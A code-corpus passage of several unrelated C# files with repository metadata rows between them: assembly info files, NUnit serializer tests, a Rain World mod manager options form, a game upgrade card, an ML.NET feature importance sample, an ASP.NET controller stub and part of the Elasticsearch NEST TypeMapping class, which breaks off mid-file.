// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SendSMS")]
[assembly: AssemblyDescription("An example of how to send an SMS using Engagement Cloud CPaaS")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("dotdigtal")]
[assembly: AssemblyProduct("SendSMS")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("aa482e29-5d00-44a1-9216-67bf3b6c0668")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 38.918919 | 96 | 0.747917 | [
"MIT"
] | dotmailer/ec-cpaas-quickstarts | OneAPI/cSharp/SendSMS/SendSMS/Properties/AssemblyInfo.cs | 1,442 | C# |
using GameTracker_Core;
using GameTracker_Core.Models;
using NUnit.Framework;
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
namespace GameTrackerTest
{
[TestFixture]
class SerializerTest
{
private static readonly string appDataPath = Path.Combine(Environment.GetFolderPath(
Environment.SpecialFolder.ApplicationData), "GameTrackerAgent", "SerializerTest");
#region Save and Load
[Test]
public void SaveAndLoadFromDevice()
{
// given
var device = new Device();
var path = Path.Combine(appDataPath, "device.bin");
// when
Serializer.Save(path, device);
var device2 = Serializer.Load<Device>(path);
// then
Assert.AreEqual(device, device2);
}
[Test]
public void SaveAndLoadFromGame()
{
// given
var game = new Game();
var path = Path.Combine(appDataPath, "game.bin");
// when
Serializer.Save(path, game);
var game2 = Serializer.Load<Game>(path);
Console.WriteLine(game2.DirectoryPath);
// then
Assert.AreEqual(game, game2);
}
[Test]
public void SaveAndLoadFromGameDirectory()
{
// given
var gameDirectory = new GameDirectory();
var path = Path.Combine(appDataPath, "gameDirectory.bin");
// when
Serializer.Save(path, gameDirectory);
var gameDirectory2 = Serializer.Load<GameDirectory>(path);
// then
Assert.AreEqual(gameDirectory, gameDirectory2);
}
[Test]
public void SaveOnNotExistingPath()
{
// given
var game = new Game();
var path = Path.Combine(appDataPath, "NotExistingPath");
// when
var erg = Serializer.Save(path, game);
// then
Assert.IsTrue(erg);
}
[Test]
public void LoadFromNotExistingPath()
{
// given
var path = Path.Combine(appDataPath, "NotExistingPath");
// when
var erg = Serializer.Load<Game>(path);
// then
Assert.AreEqual(erg, new Game());
}
#endregion
#region Json
[Test]
public void SerializeAndDeserializeJsonFromGameDirectory()
{
// given
var gameDirectory = new GameDirectory();
// when
var json = Serializer.SerializeJson(gameDirectory);
var gameDirectory2 = Serializer.DeserializeJson<GameDirectory>(json);
// then
Assert.AreEqual(gameDirectory, gameDirectory2);
}
[Test]
public void SerializeAndDeserializeJsonFromGame()
{
// given
var game = new Game();
// when
var json = Serializer.SerializeJson(game);
var game2 = Serializer.DeserializeJson<Game>(json);
// then
Assert.AreEqual(game, game2);
}
[Test]
public void SerializeAndDeserializeJsonFromDevice()
{
// given
var device = new Device();
// when
var json = Serializer.SerializeJson(device);
var device2 = Serializer.DeserializeJson<Device>(json);
// then
Assert.AreEqual(device, device2);
}
#endregion
[SetUp]
public void Setup()
{
Directory.CreateDirectory(appDataPath);
}
}
}
| 26.333333 | 101 | 0.5338 | [
"MIT"
] | swagslash/GameTracker-Agent | GameTrackerTest/SerializerTest.cs | 3,715 | C# |
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Newtonsoft.Json;
using System.IO;
using BlepOutLinx;
using System.Diagnostics;
namespace BlepOutIn
{
public partial class Options : Form
{
public Options(BlepOut mainForm)
{
InitializeComponent();
mf = mainForm;
Debug.WriteLine("Options window opened " + DateTime.Now);
labelREGIONNAME.Text = string.Empty;
labelREGIONDESC.Text = string.Empty;
labelSTRUCTURESTATUS.Text = string.Empty;
regmodlist = new List<RegModData>();
FetchStuff();
}
public BlepOutLinx.BlepOut mf;
private bool readytoapply = true;
private RegModData curRmd;
private List<RegModData> regmodlist;
/*private void StatusUpdate()
{
if (Directory.Exists(BlepOut.ModFolder + @"Language") || Directory.Exists(BlepOut.PluginsFolder + @"Language"))
{
labelSTATUS_COMMOD.Text = "Language pack detected";
}
else
{
labelSTATUS_COMMOD.Text = "None found";
}
if (Directory.Exists(BlepOut.ModFolder + @"CustomResources"))
{
labelSTATUS_CRS.Text = "CRS folder found";
}
else
{
labelSTATUS_CRS.Text = "None detected";
}
if (File.Exists(BlepOut.RootPath + @"\edtSetup.json"))
{
labelSTATUS_EDT.Text = "EDT config found";
}
else
{
labelSTATUS_EDT.Text = "Not enabled";
}
}*/
private void FetchStuff()
{
Debug.WriteLine("Fetching jsons and stuff.");
CRSlist.Items.Clear();
regmodlist.Clear();
if (Directory.Exists(CRSpath))
{
string[] CRcts = Directory.GetDirectories(CRSpath);
foreach (string path in CRcts)
{
regmodlist.Add(new RegModData(path));
}
foreach (RegModData rmd in regmodlist)
{
CRSlist.Items.Add(rmd);
}
}
labelCRSCTR.Text = CRSlist.Items.Count.ToString();
EDTCFGDATA.loadJo();
if (Directory.Exists(langinplugins))
{
labelCOMMODSTATUS.Text = "Everything seems fine.";
labelCOMMODDETAILS.Text = "Language folder is in the correct spot.";
buttonMM2P.Visible = false;
}
else if (Directory.Exists(langinmods))
{
labelCOMMODSTATUS.Text = "Language folder is in the wrong spot!";
labelCOMMODDETAILS.Text = @"Translation patch files have been found inside Mods but not Plugins. Press the button below to order BOI to move translation patch to RainWorld\BepInEx\plugins, or move it manually if you want it enabled.";
buttonMM2P.Visible = true;
}
else
{
labelCOMMODSTATUS.Text = "Nothing found.";
labelCOMMODDETAILS.Text = string.Empty;
buttonMM2P.Visible = false;
}
}
private void ApplyStuff()
{
foreach (RegModData rmd in regmodlist)
{
if (rmd.hasBeenChanged) rmd.WriteRegInfo();
}
if (EDTCFGDATA.hasBeenChanged)
{
EDTCFGDATA.SaveJo();
}
}
private void DrawCRSpage()
{
readytoapply = false;
RegModData rmd = (CRSlist.SelectedIndex != -1) ? CRSlist.Items[CRSlist.SelectedIndex] as RegModData : null;
curRmd = rmd;
if (rmd == null)
{
labelREGIONNAME.Text = string.Empty;
labelREGIONDESC.Text = string.Empty;
labelSTRUCTURESTATUS.Text = string.Empty;
checkBoxCR.Enabled = false;
checkBoxCR.Checked = false;
tbLOADORDER.Enabled = false;
tbLOADORDER.Clear();
}
else
{
labelREGIONNAME.Text = rmd.regionName;
labelREGIONDESC.Text = rmd.description;
labelSTRUCTURESTATUS.Text = (rmd.structureValid) ? "VALID" : "INVALID";
checkBoxCR.Enabled = rmd.CurrCfgState != RegModData.CfgState.None;
tbLOADORDER.Enabled = rmd.CurrCfgState != RegModData.CfgState.None;
tbLOADORDER.Text = (rmd.loadOrder != null) ? rmd.loadOrder.ToString() : string.Empty;
checkBoxCR.Checked = rmd.activated;
}
readytoapply = true;
}
private void DrawEDTpage()
{
readytoapply = false;
EDTCFGDATA.loadJo();
if (EDTCFGDATA.jo == null)
{
tableLayoutPanel10.Enabled = false;
}
else
{
tableLayoutPanel10.Enabled = true;
textBoxEDT_STARTMAP.Text = EDTCFGDATA.startmap;
checkBoxEDT_QUICKSTART.Checked = (bool)EDTCFGDATA.skiptitle;
textBoxEDT_CHARSELECT.Text = (EDTCFGDATA.forcechar == null) ? string.Empty : EDTCFGDATA.forcechar.ToString();
checkBoxEDT_DISABLERAIN.Checked = (bool)EDTCFGDATA.norain;
checkBoxEDT_EDT.Checked = (bool)EDTCFGDATA.devtools;
TextBoxEDT_CHEATKARMA.Text = (EDTCFGDATA.cheatkarma == null) ? string.Empty : EDTCFGDATA.cheatkarma.ToString();
checkBoxEDT_MAPREVEAL.Checked = (bool)EDTCFGDATA.revealmap;
checkBoxEDT_FORCEGLOW.Checked = (bool)EDTCFGDATA.forcelight;
checkBoxEDT_BAKE.Checked = (bool)EDTCFGDATA.bake;
checkBoxEDT_ENCRYPT.Checked = (bool)EDTCFGDATA.encrypt;
}
readytoapply = true;
}
private static string CRSpath => BlepOut.ModFolder + @"CustomResources";
private void Options_Activated(object sender, EventArgs e)
{
//this.Enabled = mf.Enabled;
if (mf.IsMyPathCorrect)
{
//StatusUpdate();
FetchStuff();
}
DrawCRSpage();
DrawEDTpage();
}
private void Options_Deactivate(object sender, EventArgs e)
{
ApplyStuff();
}
private void CRSlist_SelectedIndexChanged(object sender, EventArgs e)
{
DrawCRSpage();
}
private void checkBoxCR_EnabledChanged(object sender, EventArgs e)
{
if (curRmd == null) return;
curRmd.activated = checkBoxCR.Checked;
}
private void Options_FormClosing(object sender, FormClosingEventArgs e)
{
ApplyStuff();
}
private void tbLOADORDER_Leave(object sender, EventArgs e)
{
if (curRmd == null || !readytoapply) return;
curRmd.loadOrder = int.Parse(tbLOADORDER.Text);
}
private void EDT_PROPERTY_CHANGED(object sender, EventArgs e)
{
if (!readytoapply) return;
if (sender == textBoxEDT_STARTMAP)
{
EDTCFGDATA.startmap = textBoxEDT_STARTMAP.Text;
}
else if (sender == checkBoxEDT_QUICKSTART)
{
EDTCFGDATA.skiptitle = checkBoxEDT_QUICKSTART.Checked;
}
else if (sender == textBoxEDT_CHARSELECT)
{
try
{
EDTCFGDATA.forcechar = int.Parse(textBoxEDT_CHARSELECT.Text);
}
catch (FormatException fe)
{
Debug.WriteLine("Format error while reading for EDTCFG.forcechar");
Debug.Indent();
Debug.WriteLine(fe);
Debug.Unindent();
}
}
else if (sender == checkBoxEDT_DISABLERAIN)
{
EDTCFGDATA.norain = checkBoxEDT_DISABLERAIN.Checked;
}
else if (sender == checkBoxEDT_EDT)
{
EDTCFGDATA.devtools = checkBoxEDT_EDT.Checked;
}
else if (sender == TextBoxEDT_CHEATKARMA)
{
try
{
EDTCFGDATA.cheatkarma = int.Parse(TextBoxEDT_CHEATKARMA.Text);
}
catch (FormatException fe)
{
Debug.WriteLine("Format error while reading for EDTCFG.cheatkarma");
Debug.Indent();
Debug.WriteLine(fe);
Debug.Unindent();
}
}
else if (sender == checkBoxEDT_MAPREVEAL)
{
EDTCFGDATA.revealmap = checkBoxEDT_MAPREVEAL.Checked;
}
else if (sender == checkBoxEDT_FORCEGLOW)
{
EDTCFGDATA.forcelight = checkBoxEDT_FORCEGLOW.Checked;
}
else if (sender == checkBoxEDT_BAKE)
{
EDTCFGDATA.bake = checkBoxEDT_FORCEGLOW.Checked;
}
else if (sender == checkBoxEDT_ENCRYPT)
{
EDTCFGDATA.encrypt = checkBoxEDT_ENCRYPT.Checked;
}
}
private void buttonclickCOMMOD(object sender, EventArgs e)
{
try
{
Directory.Move(langinmods, langinplugins);
}
catch (IOException ioe)
{
Debug.WriteLine("ERROR MOVING LANGUAGE FOLDER:");
Debug.Indent();
Debug.WriteLine(ioe);
Debug.Unindent();
}
ApplyStuff();
FetchStuff();
}
string langinplugins => BlepOut.PluginsFolder + "Language";
string langinmods => BlepOut.ModFolder + "Language";
}
} | 35.32646 | 250 | 0.520331 | [
"Unlicense"
] | Daratrixx/BOI | BlepOutLinx/Options.cs | 10,282 | C# |
using Upgrade;
using Ship;
using System.Collections.Generic;
using System;
namespace UpgradesList.SecondEdition
{
public class Q7Astromech : GenericUpgrade
{
public Q7Astromech() : base()
{
UpgradeInfo = new UpgradeCardInfo(
"Q7 Astromech",
UpgradeType.Astromech,
cost: 4,
abilityType: typeof(Abilities.SecondEdition.Q7AstromechAbility),
restriction: new FactionRestriction(Faction.Republic)
);
ImageUrl = "https://images-cdn.fantasyflightgames.com/filer_public/75/b9/75b924e8-88e2-4e11-808c-f47f1e2115c2/swz80_upgrade_q7-astromech.png";
}
}
}
namespace Abilities.SecondEdition
{
public class Q7AstromechAbility : GenericAbility
{
public override void ActivateAbility()
{
HostShip.OnCheckIgnoreObstaclesDuringBarrelRoll += Allow;
HostShip.OnCheckIgnoreObstaclesDuringBoost += Allow;
}
private void Allow(ref bool isAllowed)
{
isAllowed = true;
}
public override void DeactivateAbility()
{
HostShip.OnCheckIgnoreObstaclesDuringBarrelRoll -= Allow;
HostShip.OnCheckIgnoreObstaclesDuringBoost -= Allow;
}
}
} | 28.413043 | 154 | 0.628156 | [
"MIT"
] | simonthezealot/FlyCasual | Assets/Scripts/Model/Content/SecondEdition/Upgrades/Astromech/Q7Astromech.cs | 1,309 | C# |
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// La información general sobre un ensamblado se controla mediante lo siguiente
// conjunto de atributos. Cambie los valores de estos atributos para modificar la información
// asociada con un ensamblado.
[assembly: AssemblyTitle("CoreApi")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("CoreApi")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Si configura ComVisible como falso, los tipos de este ensamblado no se hacen visibles
// para componentes COM. Si necesita acceder a un tipo de este ensamblado desde
// COM, establezca el atributo ComVisible en True en este tipo.
[assembly: ComVisible(false)]
// El siguiente GUID sirve como ID de typelib si este proyecto se expone a COM
[assembly: Guid("234cf86d-76a0-45d6-b415-5f503595be9b")]
// La información de versión de un ensamblado consta de los siguientes cuatro valores:
//
// Versión principal
// Versión secundaria
// Número de compilación
// Revisión
//
// Puede especificar todos los valores o puede predeterminar los números de compilación y de revisión
// mediante el carácter '*', como se muestra a continuación:
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 40.25 | 101 | 0.761905 | [
"ISC"
] | ThorHuno/CoreSystems | CoreApi/Properties/AssemblyInfo.cs | 1,466 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.ML;
namespace Samples.Dynamic.Trainers.Regression
{
public static class PermutationFeatureImportance
{
public static void Example()
{
// Create a new context for ML.NET operations. It can be used for
// exception tracking and logging, as a catalog of available operations
// and as the source of randomness.
var mlContext = new MLContext(seed: 1);
// Create sample data.
var samples = GenerateData();
// Load the sample data as an IDataView.
var data = mlContext.Data.LoadFromEnumerable(samples);
// Define a training pipeline that concatenates features into a vector,
// normalizes them, and then trains a linear model.
var featureColumns = new string[] { nameof(Data.Feature1),
nameof(Data.Feature2) };
var pipeline = mlContext.Transforms.Concatenate(
"Features",
featureColumns)
.Append(mlContext.Transforms.NormalizeMinMax("Features"))
.Append(mlContext.Regression.Trainers.Ols());
// Fit the pipeline to the data.
var model = pipeline.Fit(data);
// Transform the dataset.
var transformedData = model.Transform(data);
// Extract the predictor.
var linearPredictor = model.LastTransformer;
// Compute the permutation metrics for the linear model using the
// normalized data.
var permutationMetrics = mlContext.Regression
.PermutationFeatureImportance(
linearPredictor, transformedData, permutationCount: 30);
// Now let's look at which features are most important to the model
// overall. Get the feature indices sorted by their impact on RMSE.
var sortedIndices = permutationMetrics
.Select((metrics, index) => new
{
index,
metrics.RootMeanSquaredError
})
.OrderByDescending(feature => Math.Abs(
feature.RootMeanSquaredError.Mean))
.Select(feature => feature.index);
Console.WriteLine("Feature\tModel Weight\tChange in RMSE\t95%" +
"Confidence in the Mean Change in RMSE");
var rmse = permutationMetrics.Select(x => x.RootMeanSquaredError)
.ToArray();
foreach (int i in sortedIndices)
{
Console.WriteLine("{0}\t{1:0.00}\t{2:G4}\t{3:G4}",
featureColumns[i],
linearPredictor.Model.Weights[i],
rmse[i].Mean,
1.96 * rmse[i].StandardError);
}
// Expected output:
// Feature Model Weight Change in RMSE 95% Confidence in the Mean Change in RMSE
// Feature2 9.00 4.009 0.008304
// Feature1 4.48 1.901 0.003351
}
private class Data
{
public float Label { get; set; }
public float Feature1 { get; set; }
public float Feature2 { get; set; }
}
/// <summary>
/// Generate an enumerable of Data objects, creating the label as a simple
/// linear combination of the features.
/// </summary>
/// <param name="nExamples">The number of examples.</param>
/// <param name="bias">The bias, or offset, in the calculation of the label.
/// </param>
/// <param name="weight1">The weight to multiply the first feature with to
/// compute the label.</param>
/// <param name="weight2">The weight to multiply the second feature with to
/// compute the label.</param>
/// <param name="seed">The seed for generating feature values and label
/// noise.</param>
/// <returns>An enumerable of Data objects.</returns>
private static IEnumerable<Data> GenerateData(int nExamples = 10000,
double bias = 0, double weight1 = 1, double weight2 = 2, int seed = 1)
{
var rng = new Random(seed);
for (int i = 0; i < nExamples; i++)
{
var data = new Data
{
Feature1 = (float)(rng.Next(10) * (rng.NextDouble() - 0.5)),
Feature2 = (float)(rng.Next(10) * (rng.NextDouble() - 0.5)),
};
// Create a noisy label.
data.Label = (float)(bias + weight1 * data.Feature1 + weight2 *
data.Feature2 + rng.NextDouble() - 0.5);
yield return data;
}
}
}
}
| 38.409449 | 97 | 0.543665 | [
"MIT"
] | GitHubPang/machinelearning | docs/samples/Microsoft.ML.Samples/Dynamic/Trainers/Regression/PermutationFeatureImportance.cs | 4,880 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
namespace WebClient1.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class TestController : ControllerBase
{
// GET: api/Test
[HttpGet]
public IEnumerable<string> Get()
{
return new string[] { "value1", "value2" };
}
// GET: api/Test/5
[HttpGet("{id}", Name = "Get")]
public string Get(int id)
{
var s = Request.HttpContext;
return "value";
}
// POST: api/Test
[HttpPost]
public void Post([FromBody] string value)
{
}
// PUT: api/Test/5
[HttpPut("{id}")]
public void Put(int id, [FromBody] string value)
{
}
// DELETE: api/ApiWithActions/5
[HttpDelete("{id}")]
public void Delete(int id)
{
}
}
}
| 22.040816 | 56 | 0.544444 | [
"Apache-2.0"
] | yingpanwang/MyMicroServiceSolution | WebClient1/Controllers/TestController.cs | 1,082 | C# |
// Licensed to Elasticsearch B.V under one or more agreements.
// Elasticsearch B.V licenses this file to you under the Apache 2.0 License.
// See the LICENSE file in the project root for more information
using System;
using System.Collections.Generic;
using System.Runtime.Serialization;
using Nest.Utf8Json;
namespace Nest
{
[InterfaceDataContract]
[ReadAs(typeof(TypeMapping))]
public interface ITypeMapping
{
[Obsolete("The _all field is no longer supported in Elasticsearch 7.x and will be removed in the next major release. The value will not be sent in a request. An _all like field can be achieved using copy_to")]
[IgnoreDataMember]
IAllField AllField { get; set; }
/// <summary>
/// If enabled (default), then new string fields are checked to see whether their contents match
/// any of the date patterns specified in <see cref="DynamicDateFormats"/>.
/// If a match is found, a new date field is added with the corresponding format.
/// </summary>
[DataMember(Name = "date_detection")]
bool? DateDetection { get; set; }
/// <summary>
/// Whether new unseen fields will be added to the mapping. Default is <c>true</c>.
/// A value of <c>false</c> will ignore unknown fields and a value of <see cref="DynamicMapping.Strict"/>
/// will result in an error if an unknown field is encountered in a document.
/// </summary>
[DataMember(Name = "dynamic")]
[JsonFormatter(typeof(DynamicMappingFormatter))]
Union<bool, DynamicMapping> Dynamic { get; set; }
/// <summary>
/// Date formats used by <see cref="DateDetection"/>
/// </summary>
[DataMember(Name = "dynamic_date_formats")]
IEnumerable<string> DynamicDateFormats { get; set; }
/// <summary>
/// Dynamic templates allow you to define custom mappings that can be applied to dynamically added fields based on
/// <para>- the datatype detected by Elasticsearch, with <see cref="IDynamicTemplate.MatchMappingType"/>.</para>
/// <para>- the name of the field, with <see cref="IDynamicTemplate.Match"/> and <see cref="IDynamicTemplate.Unmatch"/> or
/// <see cref="IDynamicTemplate.MatchPattern"/>.</para>
/// <para>- the full dotted path to the field, with <see cref="IDynamicTemplate.PathMatch"/> and
/// <see cref="IDynamicTemplate.PathUnmatch"/>.</para>
/// <para>The original field name <c>{name}</c> and the detected datatype <c>{dynamic_type}</c> template variables can be
/// used in the mapping specification as placeholders.</para>
/// </summary>
[DataMember(Name = "dynamic_templates")]
IDynamicTemplateContainer DynamicTemplates { get; set; }
/// <summary>
/// Used to index the names of every field in a document that contains any value other than null.
/// This field was used by the exists query to find documents that either have or don’t have any non-null value for a particular field.
/// Now, it only indexes the names of fields that have doc_values and norms disabled.
/// Can be disabled. Disabling _field_names is often not necessary because it no longer carries the index overhead it once did.
/// If you have a lot of fields which have doc_values and norms disabled and you do not need to execute exists queries
/// using those fields you might want to disable
/// </summary>
[DataMember(Name = "_field_names")]
IFieldNamesField FieldNamesField { get; set; }
[Obsolete("Configuration for the _index field is no longer supported in Elasticsearch 7.x and will be removed in the next major release.")]
[IgnoreDataMember]
IIndexField IndexField { get; set; }
/// <summary>
/// Custom meta data to associate with a mapping. Not used by Elasticsearch,
/// but can be used to store application-specific metadata.
/// </summary>
[DataMember(Name = "_meta")]
[JsonFormatter(typeof(VerbatimDictionaryInterfaceKeysFormatter<string, object>))]
IDictionary<string, object> Meta { get; set; }
/// <summary>
/// If enabled (not enabled by default), then new string fields are checked to see whether
/// they wholly contain a numeric value and if so, to map as a numeric field.
/// </summary>
[DataMember(Name = "numeric_detection")]
bool? NumericDetection { get; set; }
/// <summary>
/// Specifies the mapping properties
/// </summary>
[DataMember(Name = "properties")]
IProperties Properties { get; set; }
/// <summary>
/// Specifies configuration for the _routing parameter
/// </summary>
[DataMember(Name = "_routing")]
IRoutingField RoutingField { get; set; }
/// <summary>
/// If enabled, indexes the size in bytes of the original _source field.
/// Requires mapper-size plugin be installed
/// </summary>
[DataMember(Name = "_size")]
ISizeField SizeField { get; set; }
/// <summary>
/// Specifies configuration for the _source field
/// </summary>
[DataMember(Name = "_source")]
ISourceField SourceField { get; set; }
}
public class TypeMapping : ITypeMapping
{
/// <inheritdoc />
[Obsolete("The _all field is no longer supported in Elasticsearch 7.x and will be removed in the next major release. The value will not be sent in a request. An _all like field can be achieved using copy_to")]
public IAllField AllField { get; set; }
/// <inheritdoc />
public bool? DateDetection { get; set; }
/// <inheritdoc />
public Union<bool, DynamicMapping> Dynamic { get; set; }
/// <inheritdoc />
public IEnumerable<string> DynamicDateFormats { get; set; }
/// <inheritdoc />
public IDynamicTemplateContainer DynamicTemplates { get; set; }
/// <inheritdoc />
public IFieldNamesField FieldNamesField { get; set; }
/// <inheritdoc />
[Obsolete("Configuration for the _index field is no longer supported in Elasticsearch 7.x and will be removed in the next major release.")]
public IIndexField IndexField { get; set; }
/// <inheritdoc />
public IDictionary<string, object> Meta { get; set; }
/// <inheritdoc />
public bool? NumericDetection { get; set; }
/// <inheritdoc />
public IProperties Properties { get; set; }
/// <inheritdoc />
public IRoutingField RoutingField { get; set; }
/// <inheritdoc />
public ISizeField SizeField { get; set; }
/// <inheritdoc />
public ISourceField SourceField { get; set; }
}
public class TypeMappingDescriptor<T> : DescriptorBase<TypeMappingDescriptor<T>, ITypeMapping>, ITypeMapping
where T : class
{
[Obsolete("The _all field is no longer supported in Elasticsearch 7.x and will be removed in the next major release. The value will not be sent in a request. An _all like field can be achieved using copy_to")]
IAllField ITypeMapping.AllField { get; set; }
bool? ITypeMapping.DateDetection { get; set; }
Union<bool, DynamicMapping> ITypeMapping.Dynamic { get; set; }
IEnumerable<string> ITypeMapping.DynamicDateFormats { get; set; }
IDynamicTemplateContainer ITypeMapping.DynamicTemplates { get; set; }
IFieldNamesField ITypeMapping.FieldNamesField { get; set; }
[Obsolete("Configuration for the _index field is no longer supported in Elasticsearch 7.x and will be removed in the next major release.")]
IIndexField ITypeMapping.IndexField { get; set; }
IDictionary<string, object> ITypeMapping.Meta { get; set; }
bool? ITypeMapping.NumericDetection { get; set; }
IProperties ITypeMapping.Properties { get; set; }
IRoutingField ITypeMapping.RoutingField { get; set; }
ISizeField ITypeMapping.SizeField { get; set; }
ISourceField ITypeMapping.SourceField { get; set; }
/// <summary>
/// Convenience method to map as much as it can based on <see cref="ElasticsearchTypeAttribute" /> attributes set on the
/// type, as well as inferring mappings from the CLR property types.
/// <pre>This method also automatically sets up mappings for known values types (int, long, double, datetime, etc)</pre>
/// <pre>Class types default to object and Enums to int</pre>
/// <pre>Later calls can override whatever is set is by this call.</pre>
/// </summary>
public TypeMappingDescriptor<T> AutoMap(IPropertyVisitor visitor = null, int maxRecursion = 0) =>
Assign(Self.Properties.AutoMap<T>(visitor, maxRecursion), (a, v) => a.Properties = v);
/// <summary>
/// Convenience method to map as much as it can based on <see cref="ElasticsearchTypeAttribute" /> attributes set on the
/// type, as well as inferring mappings from the CLR property types.
/// This particular overload is useful for automapping any children
/// <pre>This method also automatically sets up mappings for known values types (int, long, double, datetime, etc)</pre>
/// <pre>Class types default to object and Enums to int</pre>
/// <pre>Later calls can override whatever is set is by this call.</pre>
/// </summary>
public TypeMappingDescriptor<T> AutoMap(Type documentType, IPropertyVisitor visitor = null, int maxRecursion = 0)
{
if (!documentType.IsClass) throw new ArgumentException("must be a reference type", nameof(documentType));
return Assign(Self.Properties.AutoMap(documentType, visitor, maxRecursion), (a, v) => a.Properties = v);
}
/// <summary>
/// Convenience method to map as much as it can based on <see cref="ElasticsearchTypeAttribute" /> attributes set on the
/// type, as well as inferring mappings from the CLR property types.
/// This particular overload is useful for automapping any children
/// <pre>This method also automatically sets up mappings for known values types (int, long, double, datetime, etc)</pre>
/// <pre>Class types default to object and Enums to int</pre>
/// <pre>Later calls can override whatever is set is by this call.</pre>
/// </summary>
public TypeMappingDescriptor<T> AutoMap<TDocument>(IPropertyVisitor visitor = null, int maxRecursion = 0)
where TDocument : class =>
Assign(Self.Properties.AutoMap<TDocument>(visitor, maxRecursion), (a, v) => a.Properties = v);
/// <summary>
/// Convenience method to map as much as it can based on <see cref="ElasticsearchTypeAttribute" /> attributes set on the
/// type, as well as inferring mappings from the CLR property types.
/// This overload determines how deep automapping should recurse on a complex CLR type.
/// </summary>
public TypeMappingDescriptor<T> AutoMap(int maxRecursion) => AutoMap(null, maxRecursion);
/// <inheritdoc cref="ITypeMapping.Dynamic" />
public TypeMappingDescriptor<T> Dynamic(Union<bool, DynamicMapping> dynamic) => Assign(dynamic, (a, v) => a.Dynamic = v);
/// <inheritdoc cref="ITypeMapping.Dynamic" />
public TypeMappingDescriptor<T> Dynamic(bool dynamic = true) => Assign(dynamic, (a, v) => a.Dynamic = v);
[Obsolete("The _all field is no longer supported in Elasticsearch 7.x and will be removed in the next major release. The value will not be sent in a request. An _all like field can be achieved using copy_to")]
public TypeMappingDescriptor<T> AllField(Func<AllFieldDescriptor, IAllField> allFieldSelector) =>
Assign(allFieldSelector, (a, v) => a.AllField = v?.Invoke(new AllFieldDescriptor()));
[Obsolete("Configuration for the _index field is no longer supported in Elasticsearch 7.x and will be removed in the next major release.")]
public TypeMappingDescriptor<T> IndexField(Func<IndexFieldDescriptor, IIndexField> indexFieldSelector) =>
Assign(indexFieldSelector, (a, v) => a.IndexField = v?.Invoke(new IndexFieldDescriptor()));
/// <inheritdoc cref="ITypeMapping.SizeField" />
public TypeMappingDescriptor<T> SizeField(Func<SizeFieldDescriptor, ISizeField> sizeFieldSelector) =>
Assign(sizeFieldSelector, (a, v) => a.SizeField = v?.Invoke(new SizeFieldDescriptor()));
/// <inheritdoc cref="ITypeMapping.SourceField" />
public TypeMappingDescriptor<T> SourceField(Func<SourceFieldDescriptor, ISourceField> sourceFieldSelector) =>
Assign(sourceFieldSelector, (a, v) => a.SourceField = v?.Invoke(new SourceFieldDescriptor()));
/// <inheritdoc cref="ITypeMapping.SizeField" />
public TypeMappingDescriptor<T> DisableSizeField(bool? disabled = true) => Assign(new SizeField { Enabled = !disabled }, (a, v) => a.SizeField = v);
[Obsolete("Configuration for the _index field is no longer supported in Elasticsearch 7.x and will be removed in the next major release.")]
public TypeMappingDescriptor<T> DisableIndexField(bool? disabled = true) =>
Assign(new IndexField { Enabled = !disabled }, (a, v) => a.IndexField = v);
/// <inheritdoc cref="ITypeMapping.DynamicDateFormats" />
public TypeMappingDescriptor<T> DynamicDateFormats(IEnumerable<string> dateFormats) => Assign(dateFormats, (a, v) => a.DynamicDateFormats = v);
/// <inheritdoc cref="ITypeMapping.DateDetection" />
public TypeMappingDescriptor<T> DateDetection(bool? detect = true) => Assign(detect, (a, v) => a.DateDetection = v);
/// <inheritdoc cref="ITypeMapping.NumericDetection" />
public TypeMappingDescriptor<T> NumericDetection(bool? detect = true) => Assign(detect, (a, v) => a.NumericDetection = v);
/// <inheritdoc cref="ITypeMapping.RoutingField" />
public TypeMappingDescriptor<T> RoutingField(Func<RoutingFieldDescriptor<T>, IRoutingField> routingFieldSelector) =>
Assign(routingFieldSelector, (a, v) => a.RoutingField = v?.Invoke(new RoutingFieldDescriptor<T>()));
/// <inheritdoc cref="ITypeMapping.FieldNamesField" />
public TypeMappingDescriptor<T> FieldNamesField(Func<FieldNamesFieldDescriptor<T>, IFieldNamesField> fieldNamesFieldSelector) =>
Assign(fieldNamesFieldSelector.Invoke(new FieldNamesFieldDescriptor<T>()), (a, v) => a.FieldNamesField = v);
/// <inheritdoc cref="ITypeMapping.Meta" />
public TypeMappingDescriptor<T> Meta(Func<FluentDictionary<string, object>, FluentDictionary<string, object>> metaSelector) =>
Assign(metaSelector(new FluentDictionary<string, object>()), (a, v) => a.Meta = v);
/// <inheritdoc cref="ITypeMapping.Meta" />
public TypeMappingDescriptor<T> Meta(Dictionary<string, object> metaDictionary) => Assign(metaDictionary, (a, v) => a.Meta = v);
/// <inheritdoc cref="ITypeMapping.Properties" />
public TypeMappingDescriptor<T> Properties(Func<PropertiesDescriptor<T>, IPromise<IProperties>> propertiesSelector) =>
